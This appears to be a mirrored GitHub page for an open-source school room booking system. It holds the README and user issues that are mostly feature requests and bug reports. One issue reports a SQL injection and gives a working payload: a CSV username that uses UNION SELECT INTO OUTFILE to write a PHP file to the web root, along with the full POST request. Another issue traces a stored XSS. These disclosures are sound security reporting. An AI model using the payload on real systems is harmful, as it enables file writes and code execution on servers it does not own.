Coder Social home page Coder Social logo

classroombookings / classroombookings Goto Github PK

View Code? Open in Web Editor NEW
161.0 10.0 46.0 6.98 MB

The open source hassle-free room booking system for schools

Home Page: https://www.classroombookings.com/

License: GNU Affero General Public License v3.0

PHP 99.29% HTML 0.34% Hack 0.23% CSS 0.15%
php room-booking codeigniter open-source schools education

classroombookings's Introduction

classroombookings - open source room booking system for schools.

By Craig A Rodway.

License: AGPLv3 Twitter Follow

This is a web-based room booking system for schools and is designed to be as easy to use as possible. Set up your bookable rooms, day schedule and timetable for the year. Add user accounts, and allow them to make and manage bookings from anywhere.

It is available to download and install yourself or there is a great value hosted service.

It is web-based - PHP and MySQL - and currently uses the CodeIgniter 3 framework.

Documentation

For installation instructions and configuration guide, please read the documentation pages.

Bug Reports & Feature Requests

Please check out GitHub Issues to view existing issues or open a new bug report.

Security

To report any security issues, please email [email protected] instead of using the issue tracker.

Credits

This project makes use of several third parties, some of which are listed below.

classroombookings's People

Contributors

craigrodway avatar crbs-bot avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

classroombookings's Issues

Translations

Great service!
It's very simple and easy to use but would it be possible to add translations? At least for the users?
Thank you

Lesson Fee Collection

Hi, great piece of software! Have you thought of adding fee collection per session or per classroom use? That would be a great addition to this!

Email notification/confirmation

Have an email sent to room owner or members of "Group X" when a booking is made (can be configured global and per room, per-room overriding global).

Can be set up so that the email serves as just a notification, or a
confirmation.

Points to think about if confirmation:

  • Booking will not show up until confirmed.
  • User must be told that their booking won't be visible until it has been confirmed. (eg. still available to book by others - the decision is down to the recipient as to who gets the room if there is more than one)
  • GUI for 'unconfirmed' bookings and allow confirm/delete.
  • Room owners should see a list of bookings awaiting confirmation on their dashboard

Differing times

Dont know if it would be possible but when making bookings could there be an option on some "rooms" to enter times that do not match the day pattern?

Import users

Trying tomimport csv file of users in latest version, after selecting csv file and clicking the create users button an error is displayed - The temporary folder is missing.

Allow user self-registration

Feature request is to allow user to register for their own account.

Fill in form, once submitted - ONE of these:

  • Email the user who submitted and have them confirm their address
  • Email a designated responsible person who must approve registrations

This will be a tab on the Configure page. There should also be somewhere to
view the pending registrations and a way to deny/accept them.

Preview recurring bookings - not working

Preview button is not working.
If I select "end of session" in the "Until..." section, it works,
if I choose something else, the button becomes useless.
Is it just me having this problem?

XAMPP installed on Windows
Thank you

Can't login to demo

I find your project really interesting and would like to check it out. But from the demo page [https://www.classroombookings.com/demo/] the logins admin:Password1 and teacher:Password1 does not work.

Forgot password

Allow users to reset their password (local accounts only, won't be possible via LDAP). It will not be possible to email the stored password for security reasons (one-way hash).

Possible XSS vulnerability

Hello,

I would like to report for possible XSS vulnerability.

In file classroombookings-master\application\controllers\Weeks.php in function save_week

the input 'bgcol' will be saved in the DB and passed to the view when it will be printed without sanitization.

$data = array(
	'name' => $this->input->post('name'),
	'bgcol' => $this->input->post('bgcol'),
);
if ($week_id = $this->weeks_model->insert($data)) {
//...
}

In file classroombookings-master\application\models\Weeks_model.php

public function insert($data){
  $data = $this->sleep_values($data);
  
  $insert = $this->db->insert($this->table, $data);
  
  return $insert ? $this->db->insert_id() : FALSE;
}

In file classroombookings-master\application\controllers\Weeks.php in function save_week

public function index(){
  $this->data['weeks'] = $this->weeks_model->get_all();
  $this->data['title'] = $this->data['showtitle'] = 'Timetable Weeks';
  
  $body = $this->load->view('weeks/index', $this->data, TRUE);
  
  $this->data['body'] = $body;
  
  return $this->render();
}

In file classroombookings-master\application\models\Weeks_model.php

public function get_all(){
  $query = $this->db->from($this->table)
	  ->order_by('name', 'ASC')
	  ->get();
  
  if ($query->num_rows() > 0) {
	  $result = $query->result();
	  //..
	  return $result;
  }
}

The
In file C:\transfer_projects\classroombooking\classroombookings-master\application\views\weeks\index.php

<?php
foreach ($weeks as $week) {
//...
	$dot = week_dot($week);
        echo "<td style='text-align:center'>{$dot}</td>";
//...
}
?>

In file classroombookings-master\application\helpers\week_helper.php

function week_dot($week, $size = 'md')
{
	$col = $week->bgcol;
	$col = str_replace('#', '', $col);
	$col = '#' . $col;

	$out = "<span class='dot dot-week dot-size-{$size}' style='background-color:{$col}'></span>";
	return $out;
}

Exams Schedule

It would be great if there was a the ability to take a room out of action for a scheduled period for exams. If this could over right all bookings this would be fantastic.

hooks for new authentication system

Hello.

I saw the LDAP authentication and was wondering what would be the template for adding a new type of authentication. I want to load the app as an iframe inside an existing one (I would prefer to integrate it better, but codeIgniter apps don't really lend themselves to this) and I would really like to reuse existing authentication.

To me this means on one side adding to index.php my authentication check (so it can't be loaded without the parent frame's authentication) and on another to call the user details and logged in status from my own.

I have been taking a loot at it but I can't figure out the current order of events that I would need to catch or how to create a new type of authentication that doesn't rely on a local user table at all (my user table is in a different database, and all information relevant to the user lives in the cookie).

Any help or guidance? What are the least intrusive modifications I could do to take over user authentication check and user tokens and ID.

Make booking notes character limit editable in settings

Hey Craig,

First of all: thank you for making this great tool. In addition to being a classroom booking tool, it is also great for managing available spaces during the COVID epidemic.

A small note from my side: Even in a very narrow browser window, The Workspace view button remains at 50% screen width and allows ample space for Names and notes, however by default a 15 character limit is hardcoded into bookings_model.php:
$cell['body'] .= '<span title="'.$notes.'">'.character_limiter($notes, 15).'</span>';

This limit seems rather low for the amount of horizontal space that is available in the 'room' field and that's without considering the ample vertical space for adding a second line of text. For our use case I simply increased the manual limit in bookings_model.php but am aware that this will need to be corrected after any future update to the code.

I think it would be helpful to expose the character limit value in the application settings, or at least increase the hardcoded limit as it currently seems unnecessarily low.

Thanks again for a great tool!

External requests not working

image
I am using Hubot and its post request doesn't work because it for some reason doesn't send the data correctly (i think).

My another problem though is that when I do that post request on index.php/login/submit which is basically a login form action it doesn't open a session on the server side when I do it with curl. I copied the request from dev tools which is used and it works only if I already have an open session in the browser.

image

if I have an open session on the server already, it redirects me correctly to the logged in window, otherwise it just redirects me back to the login page.. (renders the login view as content)

SSL

It would be great to see ssl support for the self hosted version, is there any plan for this in future releases? currently it just breaks the site when the certificate is added.

feature Vr 2.6.2

Hey Craig,
First of all: thank you for making this great tool. I have some new ideas for you.
1 - highlight all bookings current user .
image

2 - multiple selection cancel bookings .
Untitled

Thanks you

Bulk Bookings

After running through the process of making a recurring booking, after hitting the 'create bookings' button, I have to refresh the blank page in order to return to the booking calendar, is this being seen on other installs?

Week cycle bug

Hi, my name is Marcos and I would like to report a bug in classroombookings. In Week cycle, when you edit a week and uncheck every week, the system does not save, due to an if in line 149 of the Controllers, so that if the selection returns empty (false), it does not enter the condition and does not update .

if ($this->input->post('dates')) {
          $this->weeks_model->UpdateMondays($week_id, $this->input->post('dates'));
}

I hope you can understand, I'm still improving my English.

And a suggestion that I applied to the project is the possibility of updating all holidays for the current year.

Feature request: Email bookings

Since we have the option to record an email address when creating accounts it would be a nice feature to be able to configure email client settings so that you have the ability to email out bookings and cancellations when made by users of the system.

Enable Multiple Selection doesn't seem to work

Hi Craig

Thank you once again for creating such an incredibly useful system. Thank you for your hard work on this new version. Added features look great.

I was testing a couple of things and it has come to my attention that "Enable Multiple Selection" when checked by a "Teacher", it says bookings were created but the cells are not blocked.
Tried to book multiple slots.
image

It says three bookings were created but it doesn't block those slots.
image

It does show 3 bookings on the dashboard as well
image

Users
image

Am I missing something here?

Licensefile missing

Hello
in the description you tell your software is open source but there is no licence file in your repository.

Could you add one? That would be great!

Thank you for contributing to open source and sharing this :)

Best regards

Eliminate double bookings problem

Hi,
I ran into another problem.
Conflict checking is done on a periodic basis only.
If a period is entered in hours that contain each other, it does not see it as a conflict.
It allows me to choose the same instructor and room for periods starting at 09:30 and 10:00.

image

image

Server Error 500

I've installed classroombooking (version 2.5) on an Windows/XAMPP-Environment.
Everytime when configured a room the booking and profile page run in a server error 500.
Do you know the issue?

Is this project active?

Come across this project, and it is interesting.

But it seems to be dormant now.

Is it alive and well?

Installation issue using Nginx web server

running ubuntu server 22.04 in vm, installed all the required packages as instructed in documentation. but somehow the index.php wont run unless the web server is apache. is this an issue of CRBS or my Nginx config?

the vm is running below:
Ubuntu Server 22.04
Nginx 1.23.2
PHP7.3
MariaDB 10.6.11

and i am trying to install CRBS ver2.6.4

Classbooking v2.2.0 has SQL injection

After the administrator logs in, when adding a new user, choose to import the csv file, and there is SQL injection in the csv file username.

image

The csv file is as follows:
test'/**/union/**/select/**/'<?php phpinfo(); ?>'/**/into/**/outfile/**/'C:\\phpstudy_pro\\WWW\\hcms\\info.php'#, test, test, [email protected], test1234

If mysql has writable permissions,this csv file will create a new phpinfo file in the website directory.

the POST file is:

POST /hcms/index.php/users/import HTTP/1.1
Host: 192.168.31.120
Content-Length: 825
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.31.120
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzClKDALsrTEKS6TB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.31.120/hcms/index.php/users/import
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: crbs=tr55skb4jdshkp7vcpb7q4i0pbd2te46
Connection: close

------WebKitFormBoundaryzClKDALsrTEKS6TB
Content-Disposition: form-data; name="action"

import
------WebKitFormBoundaryzClKDALsrTEKS6TB
Content-Disposition: form-data; name="userfile"; filename="1.csv"
Content-Type: application/vnd.ms-excel

test'/**/union/**/select/**/'<?php phpinfo(); ?>'/**/into/**/outfile/**/'C:\\phpstudy_pro\\WWW\\hcms\\info.php'#, test, test, [email protected], test1234
------WebKitFormBoundaryzClKDALsrTEKS6TB
Content-Disposition: form-data; name="password"


------WebKitFormBoundaryzClKDALsrTEKS6TB
Content-Disposition: form-data; name="authlevel"

2
------WebKitFormBoundaryzClKDALsrTEKS6TB
Content-Disposition: form-data; name="enabled"

0
------WebKitFormBoundaryzClKDALsrTEKS6TB
Content-Disposition: form-data; name="enabled"

1
------WebKitFormBoundaryzClKDALsrTEKS6TB--

image

image

Modify an indiviual session in a recurring booking

It is sometimes required that one booking a recurring series needs to be cancelled for a different use (exams) or between Year 11 leaving and the end of term (for example); but to have the remainder of the recurring series to remain.

Booking boxes missing on Sunday for non administrator users

Sunday bookings not displaying on Sunday day of booking. The booking boxes are missing on Sunday for non administrator users. Sundays show fine weeks out. Is this the same issue in change log for 2.20. I have 2.2.0 installed though. What can I do to try to remedy this? I very much appreciate this booking system and is helping with Covid scheduling. Thank you for any help.

sundayissue

Issues with installation

Hi,

I have tried installing the application to test out what it can do. There are some issues with the installation procedure. When i have the app running and view it initially, it says that no tables are in the database. I then ran the meta sql script which ran successfully. After again trying to view the app it states that the sessions table is now needed. What happened to the installation step that the wiki talks about?

Cameron

Recurring Bookings

This option is on by default in the latest release when making a booking as an admin, can this be turned off somewhere?

Ability to hide weekends

As a school we are only open Monday to Friday - could we have the ability to hide Saturday/Sunday?

Teachers sometimes get confused when they click 'next day' and get told there are 'no periods configured' etc.

Blank page on creating booking

Thanks for such a great system! After updating to 2.6.3 we're having a minor issue when creating bookings, after entering the details in the create booking dialog box and clicking create booking the screen clears and we're just left with the background. Manually refreshing the webpage brings the screen back with the booking completed. This occurs for other users and whether it's a single booking or recurring.
It's not a gamestopper though :-)

Creating the booking:
create

Blank screen
create2

Thanks

Multi Linguality

Hi

As happy user I miss Multi linguality.

I cannot code but I can offer you guys a translation to Dutch given a table provided.

Cheers,
Joost

PHP 7 support

A number of non-trivial changes will be needed to support this, and won't be a quick fix.

  • Upgrade CodeIgniter to 3.x latest version.
  • Update all relevant Classroombookings files to new standards recognised by CI.

Current progress

  • Framework updated
  • Classes renamed
  • Config architecture updated & improved
  • Login/Logout
  • Control Panel
  • Profile
  • School Details
  • School Day
  • Week Cycle
  • Holidays
  • Rooms
  • Departments
  • Users
  • Bookings
  • Security checks & update

Strange booking request

image

This is the POST request which is supposed to make a booking with admin user for another user, what I find strange about it is that in the Form Data there are multiple variables with same name (and sometimes even value).

Is this intentional and crucial for the app to work or is it safe to clean it up? I am working with a Node.js based application and I am triggering the form actions with fetch requests. Is there a way how do you work with the order all the things are set up or not?

I mean I get the reason why there are 2 user_id variables.. one for the person who booked and the other for the person who is being booked. But what about for example the date variable? There are 3 date varibales, 2 are exactly the same and the third is practically the same but in a different format.

Notice period for creating bookings

Is there a way to have a set notice period for booking a room. For example teachers can not book a room within a 2 day period, ie. if the teacher wants to book a room for Friday they have to book it at the latest on the Wednesday before that Friday. Is there any way of doing this?

Change starting day of the week to Sunday

Hai, first of all thank you for making such a great system.
I am using it for meeting room booking.
May i know how to change the starting day of the week from Monday to Sunday?
Can i change it?
Thank you so much

iCal for users/rooms

iCal for rooms and users' bookings. Might be useful for people wanting to
have their bookings showing in their own Outlook/Email calendar.

/ical/room/ict1 - all entries in this room.
/ical/room/ict1/timetable - timetable bookings
/ical/room/ict1/single - single bookings

/ical/user/jsmith - all bookings for this user
/ical/user/jsmith/timetable - timetable bookings
/ical/user/jsmith/single - single bookings

What about sharing API?

I work with Hubot and I would love to see some API docs to get how to send requests from external sources.

Booking quotas

Implement some form of booking quota.

At the moment there could be two possible means of doing this.

a) Assign a "X bookings per Y" to a group of users (i.e. this group of users is allowed to make 10 bookings a day/week/month).

b) Users can only have "X" active bookings (i.e. when they reach their total they must wait until their earliest booking has occured until they are allowed more).

Method A would involve some form of cronjob to reset their daily/weekly/monthly quota.

Quota management interface must also have a GUI.

Message

Is there any way of adding a message to the login page? The ability to add a short message would be great.

Booking requirements/resources

Have global or per-room "features" that can be requested at time of booking. Examples could be projector, power, whiteboard etc.

Develop version 2.6 - Cannot make multiple recurring bookings

Hi and thanks for your useful project.
I'm testing develop release 2.6.2 and i noticed that i cannot make a recursive booking on multiple selections.

  1. I pick "Enable multiple selection".
  2. In the dialog i select "Recurring bookings every week ..."
  3. No matter which option i select in the date range "Starting From..." <-> "Until" but clicking "next" doesn't have effect.

I attach screenshots.
Thanks.

multiple
single

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.